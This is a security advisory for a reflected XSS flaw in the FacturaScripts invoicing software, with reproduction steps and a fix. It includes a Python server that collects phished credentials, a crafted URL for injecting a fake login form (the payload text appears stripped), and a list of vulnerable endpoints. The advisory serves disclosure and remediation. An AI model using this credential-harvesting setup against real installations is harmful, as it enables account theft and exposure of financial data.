GHSA-g6w2-q45f-xrp4 FacturaScripts is Vulnerable to Reflected XSS

• Packagist facturascripts/facturascripts: < 2025.81 → fixed in 2025.81

Reflected XSS via SQL Error Messages Summary A reflected XSS bug has been found in FacturaScripts. The problem is in how error messages get displayed - it's using Twig's `| raw` filter which skips HTML escaping. When a database error is triggered (like passing a string where an integer is expected), the error message includes all input and gets rendered without sanitization. Attackers can use this to phish credentials from other users since HttpOnly is set on cookies (so stealing cookies directly won't work, but attackers can inject a fake login form). CVSS 6.1 (Medium-High) --- What was Found Where the bug exists in the code: `Core/View/Macro/Utils.html.twig`, line 27: ```twig {% for item in messages %} {{ item.message | raw }} {% endfor %} ``` That `| raw` is the problem. It tells Twig not to escape anything. How it works So here's what happens: 1. Hhit `/EditProducto?code= or ` 2. The app tries to look up a product with that "code" 3. PostgreSQL throws an error because `` isn't a valid integer 4. The error goes something like: ``` ERROR: invalid input syntax for type integer: "" LINE 1: SELECT * FROM "productos" WHERE "idproducto" = '" ``` 5. This gets logged via MiniLog and displayed to the user 6. Because of `| raw`, the browser actually executes the JS The error logging happens in `Core/Base/DataBase.php` around line 236: ```php self::$miniLog->error(self::$engine->errorMessage(self::$link), ['sql' => $sql]); ``` And PostgreSQL's error message includes whatever garbage it was sent. --- Reproduction Steps Requirements • Working FacturaScripts install • Any user account (doesn't need to be admin) • The victim needs to be logged in Quick test Just visit this URL while logged in: ``` http://localhost/EditProducto?code= ``` An alert box should pop up. For a real attack (credential phishing) Set up a simple server to catch credentials: ```python from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parse_qs class Handler(BaseHTTPRequestHandler): def do_GET(self): q = parse_qs(urlparse(self.path).query) print(f"\nGot creds:") print(f" User: {q.get('user', ['?'])[0]}") print(f" Pass: {q.get('pass', ['?'])[0]}") self.send_response(200) self.end_headers() def log_message(self, *args): pass HTTPServer(('', 8888), Handler).serve_forever() ``` Then craft a URL that injects a fake login form: ``` http://TARGET/EditProducto?code=Session ExpiredLogin'"> ``` Send that to someone (email, chat, whatever). When they click it and enter their password thinking their session expired, their creds are displayed. Other endpoints that work Pretty much anything that uses the `code` parameter: • `/EditProducto?code=` • `/EditCliente?code=` • `/EditFacturaCliente?code=` • `/EditProveedor?code=` • etc. Basically all the Edit controllers. --- Impact What attackers can do with this Steal credentials - Can't grab cookies directly (HttpOnly), but the phishing form trick works great. Victim thinks their session timed out and re-enters their password. Read page data - Once JS is running, attackers can scrape whatever's on the page (invoices, customer info, financial data) and send it somewhere. Keylog - Inject a keylogger that captures everything they type. Bypass CSRF - Grab the `multireqtoken` from the page and make requests as the victim. What attackers CAN'T do Can't steal session cookies via `document.cookie` - they're HttpOnly. Business side This is a financial app, so if attackers compromise an admin account, the following is possible to create or expose: • Fake invoices • Redirected payments • Customer data breach (GDPR stuff) • The usual mess --- Fix Quick fix Just remove `| raw` from line 27 in `Core/View/Macro/Utils.html.twig`: ```diff • {{ item.message | raw }} + {{ item.message }} ``` That's it. Twig escapes by default, so removing `| raw` fixes the XSS. If projects want to be thorough 1. Sanitize messages before they go into the log: ```php $message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8'); ``` 2. Add CSP headers to block inline scripts as a backup 3. Maybe validate the `code` parameter format before it hits the database --- Resources • https://cwe.mitre.org/data/definitions/79.html • https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html --- Found: Dec 31, 2025 Tested on: FacturaScripts 2025.61 (Docker), verified vulnerable in 2025.71 (GitHub latest)